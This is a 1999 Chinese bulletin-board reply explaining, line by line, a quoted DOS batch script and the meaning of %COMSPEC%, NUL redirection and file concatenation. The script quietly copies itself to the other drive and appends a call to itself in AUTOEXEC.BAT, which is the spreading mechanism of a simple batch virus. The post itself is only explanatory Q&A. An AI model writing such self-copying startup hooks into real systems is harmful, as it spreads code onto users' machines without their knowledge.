发信人: microant()
整理人: znw(1999-11-10 12:49:14), 站内信件
|
【 在 ldwolf (我是好人) 的大作中提到: 】 : @ECHO OFF : IF DRIVE=="A:\" GOTO END123 : IF DRIVE=="C:\" GOTO END123 : IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\(%COMSPEC%的含义是什么?? : ) %comspec%是DOS的命令解释器的路径,一般来说指向c:\command.com或者 c:\windows\command.com,我们输入的DIR、COPY等命令就是它解释并执行的, 如果有需要也可以用其他解释器代替比如4DOS,DRDOS,NDOS等 : IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\ : : IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123(这句有什么用处??) 如果DRIVE盘上的跟目录不存在AUTOEXEC.BAT就转到行号END123 : : COPY A.BAT %DRIVE%>NUL(此处NUL是什么东西??设备名吗??) NUL是空设备,这里实际上是把COPY命令执行完后的输出 X FILES COPIED给 屏蔽掉(显示输出被重定向到空设备了,所以什么都看不到) : : ECHO CALL A。BAT>TMP.DAT(此处为何要建一个TMP。DAT文件??) 没看到吗?后面要用呀,其实目的是把call a.bat写到drive盘的autoexec.bat 里去。 : : COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL(此处是不是要用">>"来重定向??) 不是,>>是追加,此处是把两文件合并,得到的新文件就是autoexec.bat,>NUL 是为了屏蔽COPY的输出 : : : DEL TMP.DAT>NUL(为何此处要删除TMP。DAT??删除后如何重定向??) 这文件只是为了中间使用,没有存在价值,用完了当然要删掉,此处的重定向 是把DEL命令的结果输出屏蔽掉 : : : END123 : ECHO ON
一句话,你对重定向的理解大概有误了…… -- Microant(蚁不群) 少年不识愁滋味,爱上层楼,爱上层楼,为赋新词强说愁; 而今识尽愁滋味,欲语还休,欲语还休,却道天凉好个秋。
※ 来源:.网易 BBS bbs.netease.com.[FROM: 202.96.190.124]
|
|